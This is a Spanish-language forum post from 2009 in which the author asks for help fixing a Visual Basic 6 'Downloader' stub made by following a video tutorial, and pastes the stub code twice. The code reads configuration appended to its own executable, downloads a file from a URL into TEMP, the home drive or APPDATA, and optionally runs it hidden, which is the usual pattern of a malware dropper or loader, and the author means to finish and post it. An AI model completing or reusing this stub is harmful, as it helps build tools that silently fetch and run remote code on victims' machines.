Porfavor ayuda con Downloader
Publicado: 28 Jun 2009, 12:13
Estoy realizando un Downloader siguiendo el videotutorial de Skyweb07,Todo me funciona bien Hasta que Realizo el Stub una vez compilado el stub realizo la prueba descargando el winrar pero al ejecutar el downloader resultante me sale el error siguiente Msgbox diciendo Run-time error "9":Subscript out of range
Les estaria muy agradecido si me ayudan ya que solo me farla el Stub para podet terminar y postearlo.
Aqui les dego el Code del stub:
'Las apis
Private Declare Function Bajar Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function Ejecutar Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
______________________________________________________________________________
'El modulo del stub
Sub Main()
Dim YO As String, sData() As String, Data As String, tmp() As String, tmp2() As String, hwnd As Long
YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1
sData() = Split(Data, "Fuck")
tmp() = Split(sData(1), "COOLXD")
For i = 0 To UBound(tmp)
Next i
If Not tmp(i) = vbNullString Then
tmp2() = Split(tmp(i), "###$$$$IFER$$$$###")
Bajar 0, tmp2(0), Extraccionx(tmp2(1)) & tmp2(3), 0, 0
If tmp2(2) = "SI" Then
Ejecutar hwnd, "Open", Extraccionx(tmp2(1)) & tmp2(3), vbNullString, vbNullString, 0
End If
End If
End Sub
___________________________________________________________________________
Function Extraccionx(sRuta As String)
Select Case sRuta
Case 0: Extraccionx = Environ("TEMP") & "\"
Case 1: Extraccionx = Environ("HOMEDRIVE") & "\"
Case 2: Extraccionx = Environ("APPDATA") & "\"
End Select
End Function
Les estaria muy agradecido si me ayudan ya que solo me farla el Stub para podet terminar y postearlo.
Aqui les dego el Code del stub:
'Las apis
Private Declare Function Bajar Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function Ejecutar Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
______________________________________________________________________________
'El modulo del stub
Sub Main()
Dim YO As String, sData() As String, Data As String, tmp() As String, tmp2() As String, hwnd As Long
YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1
sData() = Split(Data, "Fuck")
tmp() = Split(sData(1), "COOLXD")
For i = 0 To UBound(tmp)
Next i
If Not tmp(i) = vbNullString Then
tmp2() = Split(tmp(i), "###$$$$IFER$$$$###")
Bajar 0, tmp2(0), Extraccionx(tmp2(1)) & tmp2(3), 0, 0
If tmp2(2) = "SI" Then
Ejecutar hwnd, "Open", Extraccionx(tmp2(1)) & tmp2(3), vbNullString, vbNullString, 0
End If
End If
End Sub
___________________________________________________________________________
Function Extraccionx(sRuta As String)
Select Case sRuta
Case 0: Extraccionx = Environ("TEMP") & "\"
Case 1: Extraccionx = Environ("HOMEDRIVE") & "\"
Case 2: Extraccionx = Environ("APPDATA") & "\"
End Select
End Function